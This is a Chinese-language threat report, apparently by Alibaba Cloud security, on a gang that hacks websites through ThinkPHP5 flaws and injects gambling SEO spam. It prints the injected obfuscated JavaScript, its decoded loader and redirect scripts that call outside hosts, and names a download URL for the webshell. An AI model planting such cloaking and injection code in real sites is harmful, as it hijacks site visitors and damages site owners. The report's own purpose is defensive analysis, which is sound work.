从入侵到变现——“黑洞”下的黑帽SEO分析

2019-05-01 约 2929 字 预计阅读 6 分钟

声明:本文 【从入侵到变现——“黑洞”下的黑帽SEO分析】 由作者 阿里云安全技术 于 2019-05-01 09:17:00 首发 先知社区 曾经 浏览数 102 次

感谢 阿里云安全技术 的辛苦付出!

概述

由于互联网入口流量主要被搜索引擎占据,网站在搜索引擎中的排名直接影响到市场营销效果,因此SEO服务应运而生。SEO(Search Engine Optimization)全称为搜索引擎优化,是指利用搜索引擎的规则提高网站在相关搜索引擎内的自然排名。SEO服务分为两种:一种是合法的技术手段,通过站内优化、站外优化、内容建设等合理手段提升网站排名;第二种是使用作弊手段快速提升网站在搜索引擎内的排名,比如使用蜘蛛池、暗链、站群、客户端劫持、服务端劫持等黑客技术手段,这种通常称为黑帽SEO。

黑帽SEO服务的对象通常为非法的产品或网站。与合法的SEO技术服务相比,黑帽SEO的效果非常快速,能够在短时间内提升排名进行快速推广,且推广的网站内容不受法律约束。黑客的主要目标是牟取非法的经济利益,黑帽SEO是黑客快速变现的重要手段。在地下网络世界已经形成了一条完整的黑色产业链:黑客利用网站存在的安全漏洞,通过入侵手段获取网站的控制权并植入后门,将后门出售给黑帽SEO运营者,黑帽SEO通过暗链、网站劫持等技术手段篡改网站内容,为黄、赌、赌等非法站点进行搜索引擎推广。

阿里云安全团队于近日跟踪到了一个利用web漏洞入侵网站并通过劫持网站首页进行批量SEO推广的黑产团伙 。此黑产团伙控制网站数量巨大,推广的网站多为非法的博彩类网站,对互联网产业存在巨大的危害。被入侵网站往往被植入多个后门,可被黑客重复利用,成为黑产的牟利工具,存在巨大的安全风险。该黑产团伙的上游黑客组织掌握了大量IP基础设施,为了绕过安全防御,每天使用数千个代理/秒拨IP进行疯狂入侵。

由于该黑产团伙控制的外部链接域名注册邮箱均为dasheng123123@gmail.com,因此我们将其命名为DaSheng。

被控制网站分布

经过长期跟踪发现,仅2019年1月到3月,该黑产团伙就控制并利用了至少12700个站点。从被植入暗链网页的顶级域名分布来看,".com"占比最多,占总数的72%。被植入暗链的网站存在为数不少的非营利组织/政府网站,绝大部分为地方性行业协会网站,但也有像中国XXX发展研究中、中国XXX发展联盟等全国性协会网站。行业协会/政府网站具有较高公信力,黑帽SEO“傍”上这些网站能够在搜索引擎里快速提高排名,但是发布的“黄赌毒“信息严重影响了网站的公信力。网站存在暗链也意味着存在严重的安全漏洞,如果不及时修复有可能引发重大的网络安全事件。

图1:被劫持网站顶级域名分布

图2:某政府网站被植入暗链

黑帽SEO手法分析

该黑产团伙通过被入侵网站的webshell后门在网站首页的头部插入如下代码,该代码会修改页面title、keywords、description,并判断浏览者是否是百度搜索引擎,如果不是搜索引擎则将网站titile修改为合法内容,以达到隐藏自己的目的:

<title>北京赛车官网开奖_北京赛车开奖网站【实时更新】</title>
<meta name="keywords" content="北京赛车开奖结果,北京赛车开奖记录,北京赛车开奖网站,北京赛车开奖直播,北京赛车开奖直播平台,北京赛车官方开奖,北京赛车开奖结果记录"/>
<meta name="description" content="北京赛车官方开奖网站【YY234.COM】,时时精准提供北京赛车开奖记录,北京赛车开奖视频,北京赛车开奖结果,北京赛车在线直播,打造全网最佳的北京赛车开奖直播平台"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="LEO YOUNG 李洋地板- By Orange NT"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))
</script>

被修改的内容通过HTML的ASCII编码隐藏,还原后为常见的博彩类关键词:

titile:北京赛车官网开奖北京赛车开奖网站【实时更新】
keywords:北京赛车开奖结果北京赛车开奖记录北京赛车开奖网站北京赛车开奖直播北京赛车开奖直播平台北京赛车官方开奖北京赛车开奖结果记录
description:北京赛车官方开奖网站【】时时精准提供北京赛车开奖记录北京赛车开奖视频北京赛车开奖结果北京赛车在线直播打造全网最佳的北京赛车开奖直播平台

第二段js脚本是经过混淆编码的,执行后得到新的js,并链接到黑产团伙控制的外部javascript

< script type = "text/javascript" > eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return (c < a ?"": e(parseInt(c / a))) + ((c = c % a) > 35 ?String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
        while (c--) d[e(c)] = k[c] || e(c);
        k = [function(e) {
            return d[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1;
    };
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p;
} ('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0 \\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');', 29, 29, 'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'), 0, {})) < /script>
/

执行后的js:

<script type="text/javascript" src="https://www.cpdas8.com/ylc.js"></script>

该js代码会自动向百度站长平台和360站长平台推送网页内容,并通过referrer判断浏览者是否来自搜索引擎,如果是则跳转到真实的被推广网站。

(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019c2.com\";");
document.writeln("</script>");

我们在搜索引擎中搜索其推广的暗链关键词,可以看到多个被入侵的网站在搜索引擎处在排名靠前的位置。

图3:被黑帽SEO篡改的合法网站

攻击向量

黑帽SEO团伙使用的webshell后门通常是由上游的黑客组织提供,经阿里云安全团队研究跟踪到了DaSheng的最大“供货商”。该黑客团伙从2019年1月份开始变得异常活跃,主要使用2018年爆发的2个Thinkphp5远程代码执行漏洞,偶尔也会使用其它的web漏洞。根据其使用的webshell文件名和主要的入侵方式,我们将其命名为ThinkphpDD。

该团伙的攻击payload中会从http://43.255.29.112/php/dd.txt 下载恶意代码,该代码是一个webshell后门。通常入侵成功几天之后就会被DaSheng黑产团伙利用,为了能够长期控制站点,DaSheng会在被入侵网站的不同目录植入多个webshell后门,该后门具备较强的免杀性。

图4:被植入的webshell后门

黑客团伙使用的攻击payload:

IP基础设施

通常攻击者使用的IP由于存在恶意攻击行为会被IPS、防火墙等安全设备拦截。ThinkphpDD为了绕过安全防护获取最大的利益,使用了大量IP进行网络攻击,从2019年1月开始每天使用几千个IP进行攻击。而且使用的IP复用率低,被该团伙利用过的IP已超过10万个。使用过的IP绝大部分来自中国,占比89%。结合阿里云的代理IP威胁情报,至少有86%的IP是匿名代理或秒拨IP。可见该团伙为了获取黑产利益投入巨大。

图5:黑客使用的IP数量趋势

图6:黑客攻击次数趋势

图7:黑客使用的IP国家分布

图8:黑客使用的IP来源分布

安全建议

  1. 用户应及时更新服务,或修补网站漏洞,避免成为入侵的受害者;
  2. 用户可对网站源代码进行检测,及时清理被植入的网站后门、恶意代码;
  3. 建议使用阿里云安全的下一代云防火墙产品,能够及时阻断恶意攻击、配置智能策略,能够有效帮助防御入侵;
  4. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。

IOCs

  • www[.]cpdas8[.]com
  • www[.]bcdas8[.]com
  • www[.]dasv8[.]com
  • 43.255.29.112

关键词:[‘安全技术’, ‘技术讨论’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now